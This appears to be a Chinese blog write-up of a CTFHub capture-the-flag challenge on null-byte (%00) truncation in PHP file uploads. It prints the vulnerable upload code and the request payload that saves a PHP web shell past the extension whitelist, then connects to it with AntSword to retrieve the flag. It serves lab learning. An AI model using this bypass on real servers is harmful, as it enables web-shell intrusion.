CTFHub 文件上传-00截断

CTFHub 文件上传-00截断

00截断有限制,php版本得低于5.3,并且GPC得关闭,一般在url上。
两种,%00和0x00,后台读取是遇到%00就会停止。
举个例子,url中输入的是upload/post.php%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。

进入题目,上传一个名为post.php%00.jpg的文件,弹出一个上传成功的弹窗,上传成功了,url地址栏出现了?road=/var/www/htm/ 没有返回文件的路径地址,多半是有临时文件名的存在,这就需要00截断,00截断的主要目的就是为了得到上传文件的路径地址,从而可以用蚁剑连接。
burp抓包得到了源码

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";·
    }
}

move_uploaded_file($_FILES['file']['tmp_name'],$des)这个函数就是把上传文件放到$des的路径上并且改了文件名,而$des中的随机数,当前时间等无法确定,那么,在$_GET[‘road’]后面进行00截断
payload:POST /?road=/var/www/html/upload/post.php%00 HTTP/1.1
重新上传,这样,上传文件就被保存到了upload/post.php下,直接访问
在这里插入图片描述phpinfo()函数成功,在用蚁剑连接在这里插入图片描述
在这里插入图片描述这就是截断路径后的上传文件在这里插入图片描述拿到flag
以上原理解释不是很明确,请见谅

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值